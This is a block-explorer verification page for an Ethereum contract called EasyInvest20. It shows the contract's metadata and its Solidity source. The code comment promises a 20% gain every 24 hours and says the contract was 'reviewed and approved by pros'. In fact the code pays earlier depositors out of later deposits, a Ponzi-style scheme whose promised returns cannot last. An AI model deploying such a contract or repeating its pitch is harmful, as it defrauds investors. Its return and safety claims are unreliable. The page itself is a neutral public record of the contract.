Verified contractPartial
EasyInvest20
Address0xedf7eac72ff28dbcde6aa14322726a7d05739007
- Balance
0.000552 ETH
- Transactions
87
- Compiler
solc 0.4.25
- Same code
Only this contract
Details
- Compiler
- solc 0.4.25+commit.59dbf8f1
- Language
- solidity
- Optimization
- No
- License
- Not stated
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 6,452,308
- Creation transaction
- 0x6de53e7d83…f3131dadb2
EasyInvest20.sol
pragma solidity ^0.4.24;
/**
*
* Easy Investment Contract
* - GAIN 20% PER 24 HOURS (every 5900 blocks)
* - NO COMMISSION on your investment (every ether stays on contract's balance)
* - NO FEES are collected by the owner, in fact, there is no owner at all (just look at the code)
*
* How to use:
* 1. Send any amount of ether to make an investment
* 2a. Claim your profit by sending 0 ether transaction (every day, every week, i don't care unless you're spending too much on GAS)
* OR
* 2b. Send more ether to reinvest AND get your profit at the same time
*
* RECOMMENDED GAS LIMIT: 70000
* RECOMMENDED GAS PRICE: https://ethgasstation.info/
*
* Contract reviewed and approved by pros!
*
*/
contract EasyInvest20 {
// records amounts invested
mapping (address => uint256) public invested;
// records blocks at which investments were made
mapping (address => uint256) public atBlock;
// this function called every time anyone sends a transaction to this contract
function () external payable {
// if sender (aka YOU) is invested more than 0 ether
if (invested[msg.sender] != 0) {
// calculate profit amount as such:
// amount = (amount invested) * 20% * (blocks since last transaction) / 5900
// 5900 is an average block count per day produced by Ethereum blockchain
uint256 amount = invested[msg.sender] * 20 / 100 * (block.number - atBlock[msg.sender]) / 5900;
// send calculated amount of ether directly to sender (aka YOU)
msg.sender.transfer(amount);
}
// record block number and invested amount (msg.value) of this transaction
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
}
}Compiler settingsShow
{
"optimizer": {
"runs": 0,
"enabled": false
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.